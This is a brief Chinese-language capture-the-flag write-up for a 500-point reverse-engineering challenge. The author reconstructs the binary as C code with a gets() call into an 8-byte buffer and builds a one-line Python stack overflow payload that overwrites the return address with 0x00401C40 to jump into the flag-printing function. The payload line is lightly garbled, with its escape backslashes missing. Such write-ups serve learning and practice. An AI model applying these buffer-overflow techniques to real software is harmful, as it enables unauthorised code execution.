题目如下:
下载test.exe文件,请想方法找到key。文件下载(500分)
首先是逆向,仿写程序如下:
const char password[] = "$1$k3Eadsf$blee.9JxQ75A/dSQSxW3v/"; void authorized() { printf("V0RGbGFnPQ=="); printf("{"); printf("%sn", md5("kernel32.GetVesion")); printf("}"); } void doit() { char s[8]; printf("please input the password:"); gets(s); if (strcmp(md5(s), password) == 0) { authorized(); } } int main() { doit(); return 0; }
其中V0RGbGFnPQ==为WDFlag=的base64加密后的值。
程序是逆向清楚了,但是完全不明白这个题目是想让我们干嘛了,难道说key就是kernel32.GetVesion,那直接逆向就得到了,还要溢出干嘛,并且溢出得到的是md5之后的值,要由md5得到kernel32.GetVesion也不容易吧……
不管咋样,还是溢出一个吧,s和doit()的返回地址差了8 bytes,authorized的地址0x00401C40,所以溢出如下:
python -c "print 'a' * 8 + 'x40x1Cx40x00'" > payload 6.test.exe < payload
对于这题,只能说完全不知道想干嘛了,反正是样题,就这样吧~~~